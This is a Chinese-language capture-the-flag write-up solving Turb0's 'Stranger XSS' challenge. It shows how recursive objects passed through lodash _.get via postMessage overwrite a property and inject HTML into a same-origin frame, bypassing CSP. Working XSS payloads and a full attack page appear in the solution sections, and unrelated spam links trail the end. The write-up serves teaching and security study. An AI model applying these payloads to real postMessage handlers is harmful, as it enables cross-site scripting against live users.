当前位置: 首页 > news >正文

利用递归对象属性攻克Turb0的XSS挑战

利用递归对象属性攻克Turb0的XSS挑战

挑战概述

挑战地址:https://www.turb0.one/pages/Challenge_Two:_Stranger_XSS.html

我们获得了一个可嵌入的页面:https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html

该页面加载了三个脚本:

<script src="lodash.min.js">
<script src="jquery-3.6.0.min.js">
<script src="inner.js">

其中前两个是常见库,第三个是自定义脚本。inner.js包含以下内容:

const reHydrate = event => {const data = event.data;if (!data || typeof data !== "object") {log("Invalid message: not an object");return;}const { base, mappings } = data;if (!_.isObject(base) || !Array.isArray(mappings)) {log("Invalid payload structure: expected { base, mappings[] }");return;}for (const { from, to } of mappings) {const val = _.get(event, from);base.reqBody[to] = val;}return base;
}window.addEventListener("message", event => {const hydrated = reHydrate(event);fetch('mockedfakeapi', {headers: {"Content-Type": "application/json"},method: 'POST',body: hydrated.reqBody})
}, false);

页面通过meta标签设置了CSP策略:

<meta http-equiv="Content-Security-Policy" content="script-src 'self' 'unsafe-eval';">

关键观察点

  1. 使用lodash进行对象属性检索:通过_.get函数
  2. jQuery未被使用:提示jQuery可能是预期的脚本小工具目标
  3. 隐式函数调用body: hydrated.reqBody行可能触发toString()方法调用
  4. 可控的赋值操作base.reqBody[to] = val;
  5. postMessage事件:允许通过event.sourceevent.target访问窗口对象

XSS通过赋值操作

如果仅通过base.reqBody[to] = val赋值来触发XSS,我们有几个有限的选项:

// 设置元素HTML
elm.innerHTML = y
elm.outerHTML = y
elm.insertAdjacentHTML = y// 设置元素on-*属性
elm.onclick = y // 等等...// 导航到js链接
window.location = y
iframe.src = y// 设置iframe的srcdoc
iframe.srcdoc = y

CSP绕过策略

CSP有两个关键点:

  1. 操作发起的来源
  2. 触发对象的位置

对于导航操作,浏览器会检查发起导航的文档的CSP。这意味着即使从具有CSP的页面尝试导航其他窗口,也会被阻止。

而DOM渲染(如elm.innerHTMLiframe.srcdoc)发生在目标帧的上下文中,忽略调用者的CSP。这意味着我们需要在同一源的窗口中使用innerHTML触发XSS。

使用递归对象绕过限制

核心突破点:我们可以控制data.reqBody指向的对象。通过创建递归对象:

var payload = {}
payload.reqBody = payload // {reqBody: {reqBody: {reqBody: ...etc...}}}

完整解决方案

var payload = {base: {},mappings: [{from: "source.frames[1].document.body",  // 指向无CSP窗口的引用to: "reqBody",  // 覆盖正在被写入的属性!},{from: "data.xss",  // 获取XSS载荷to: "innerHTML",  // 写入innerHTML}],xss: "<img src=x onerror=alert(document.domain)>" // 载荷
}
payload.base.reqBody = payload.baseframes[0].postMessage(payload, "*")

这个方案的工作原理:

  1. 第一个映射将base.reqBody["reqBody"]设置为无CSP窗口的body元素,使得base.reqBody现在指向真实的DOM元素
  2. 第二个映射将XSS载荷写入base.reqBody["innerHTML"]
  3. XSS弹窗成功执行

完整攻击页面

<script>function run() {var payload = {base: {},mappings: [{from: "source.frames[1].document.body",to: "reqBody"}, {from: "data.xss",to: "innerHTML"}],xss: "<img src=x onerror=alert(document.domain)>"}payload.base.reqBody = payload.baseframes[0].postMessage(payload, "*")}
</script>
<iframe onload="run()" src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/inner.html"></iframe>
<iframe src="https://www.turb0.one/files/9187cc52-fd4d-49c6-a336-0ce8b5139394/xsschal2minimal/ERROR.html"></iframe>

总结

  1. 使用对象递归可以通过属性赋值覆盖自身
  2. 通过将载荷写入另一个同源窗口的DOM来绕过CSP限制

其他变体解决方案

作者还提供了其他两种解决方案变体,展示了该技术的灵活性:

  1. 使用srcdoc属性
var payload = {base: {},mappings: [{from: "source.frames[0].frames[0].frameElement",to: "reqBody"}, {from: "data.xss",to: "srcdoc"}],xss: "<script>alert(document.domain)\u003c/script>"
}
  1. Turb0修改后的版本
var payload = {base: {},"mappings": [{"from": "target.Array","to": "reqBody"}, {"from": "target.eval","to": "isArray"}]
}

更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)

公众号二维码

公众号二维码

http://www.jsqmd.com/news/64724/

相关文章:

  • 2025年12月安徽农药品牌综合推荐与选择指南
  • 2025年12月天津电线电缆企业综合推荐与选购指南
  • 2025年下半年四川成都食用油批发厂家综合选择指南
  • [eac3to] 使用eac3to从蓝光盘中提取音频与字幕示例
  • 2025下半年徐州MPP电力管厂商推荐指南:专业选择与行业分析
  • 2025年下半年内蒙古探水钻机企业综合推荐与选购指南
  • 2025年下半年四川成都植物油工厂综合评估与优质供应商推荐
  • 2025年下半年四川成都植物油工厂推荐前十选择指南
  • 2025.12.7日5:10-ruler尺;统治者;[测] 划线板,划线的人
  • 2025/12/02 分享
  • 2025/12/07 分享
  • 2025/12/03 分享
  • 2025年下半年内蒙古履带钻机品牌前五推荐选购指南
  • 2025年下半年四川成都食用油生产厂家综合推荐与选择指南
  • 2025年下半年四川成都食用油工厂综合推荐与选择指南
  • 领域驱动设计-Domain-DrivenDesign
  • 2025年靠谱线缆厂:特种、计算机、太阳能、电焊机电缆厂家全收录
  • 2025中国电缆一线品牌12月名单推荐:中国电缆十大知名标杆品牌推荐
  • 2025轨道交通电缆厂家指南:变频、聚乙烯及聚氯乙烯绝缘电缆优选
  • 2025矿物质防火电缆生产厂家推荐:涵金属护套防火、柔性防火、低烟无卤电缆厂家名单
  • 2025必藏:中低压电缆+低压电缆+中压电缆生产厂家,实力榜单全解析
  • 江西成膜助剂生产厂有哪些?江西成膜助剂生产厂洞察:高沸点产品需求稳步增长
  • 过碳酸钠出口厂商有哪些?过碳酸钠外贸公司推荐:出口资质厂商及供应商汇总
  • 关于杨同学尼康Nikon Z5 raw格式无法读取的问题(lightroom)的解答
  • JAVA学习随笔-DAY1
  • 新手鱼竿怎么选?新手鱼竿推荐性价比高:双宝宏图综合竿高性价比必看
  • 2025中国鱼竿十大名单精选,玄图鲫鱼竿成新手入门优选利器
  • 手感好的鱼竿推荐:2025手感好鱼竿认准威海造,双宝神图小物竿解锁垂钓新体验
  • 2025中国十大台钓竿品牌出炉,质量好的手竿都在这份榜单里
  • 2025年中国鱼竿十大品牌名单,口碑好十大品牌鱼竿的都在这